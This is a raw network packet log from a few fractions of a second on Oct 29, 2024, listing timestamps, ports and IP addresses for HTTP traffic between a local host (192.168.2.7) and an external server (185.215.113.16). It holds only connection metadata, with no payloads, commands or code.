Oct 29, 2024 20:36:30.154591084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.154597044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154609919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154630899 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.154655933 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.154709101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154720068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154731035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154742956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154746056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.154777050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.154941082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154953957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.154979944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.154993057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.155006886 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.155035973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.155038118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.155049086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.155061007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.155070066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.155091047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.192223072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192248106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192255020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192270994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192276955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.192284107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192295074 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192316055 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.192336082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.192845106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192856073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192866087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192887068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.192923069 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192929029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.192955971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192966938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.192975044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.192991018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.193012953 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.193137884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.193190098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.193196058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.193198919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.193239927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.193371058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.193387985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.193397999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.193417072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.193444967 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.214129925 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.214196920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.214253902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.214265108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.214294910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.214318037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225492954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225516081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225528002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225547075 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225569010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225577116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225580931 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225589991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225610971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225635052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225776911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225825071 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225855112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225895882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225920916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225933075 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225944042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.225975037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.225995064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226478100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226516008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226526976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226525068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226543903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226567030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226571083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226583958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226613998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226624012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226644993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226686001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226711035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226722002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226758003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.226779938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226790905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.226824999 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.227745056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227771044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227792025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.227814913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.227854967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227865934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227895975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227896929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.227906942 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.227909088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227941990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.227941990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.227977037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227988005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.227998972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.228009939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.228024006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.228049994 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.272576094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.272589922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.272599936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.272665024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.272705078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.272723913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.272758961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.272759914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.272773027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.272795916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.272804976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.272927046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.272972107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273021936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273034096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273045063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273065090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273085117 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273118019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273128986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273139954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273159981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273201942 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273230076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273241997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273251057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273262024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273268938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273308039 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273766994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273783922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.273809910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.273844004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311022043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311091900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311166048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311180115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311191082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311202049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311208010 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311223030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311235905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311248064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311259031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311259031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311259031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311304092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311409950 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311420918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311430931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311440945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311450958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311489105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311804056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311816931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311825991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311836958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.311852932 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.311882973 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.332325935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.332336903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.332346916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.332386971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.332400084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.332398891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.332437992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.332456112 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.346879005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.346893072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.346904039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.346934080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.346966028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347012043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347024918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347035885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347047091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347058058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347058058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347081900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347099066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347110987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347121000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347121000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347136021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347157001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347177029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347188950 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347198963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347210884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347215891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347229958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347239017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347244024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347264051 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347284079 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347405910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347449064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347498894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347511053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347539902 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347551107 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347621918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347632885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347644091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347655058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347660065 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347676992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347696066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347704887 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347708941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347722054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347731113 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347734928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.347755909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.347764015 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.348352909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.348381996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.348402977 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.348429918 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.390778065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.390858889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.390906096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.390918016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.390928984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.390939951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.390945911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.390952110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.390965939 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.390995026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391026020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391067028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391077995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391083956 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391222000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391233921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391243935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391247988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391247988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391268015 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391290903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391338110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391350031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391382933 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391640902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391653061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391663074 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391685009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391704082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391746044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391794920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391890049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391937971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.391938925 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.391982079 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.428344011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.428453922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.428455114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.428466082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.428545952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.428545952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.429702997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429759026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429759979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.429776907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429788113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429796934 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.429809093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.429835081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.429920912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429933071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429943085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429955006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.429958105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.429972887 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.430016041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.430057049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.430067062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.430077076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.430094957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.430124044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.430140018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.430196047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.430210114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.430231094 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.450593948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.450618982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.450627089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.450644016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.450654984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.450689077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.450743914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.451529980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.451541901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.451595068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.464535952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464550972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464560986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464572906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464597940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464612007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464622021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.464642048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.464649916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464665890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.464696884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.464848042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464895964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.464911938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.464951038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465183020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465193033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465224981 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465225935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465234995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465265989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465270042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465282917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465292931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465327024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465337038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465502024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465543032 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465548992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465559959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465594053 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:30.465595007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:30.465606928 CET	49986	80	192.168.2.7	185.215.113.16
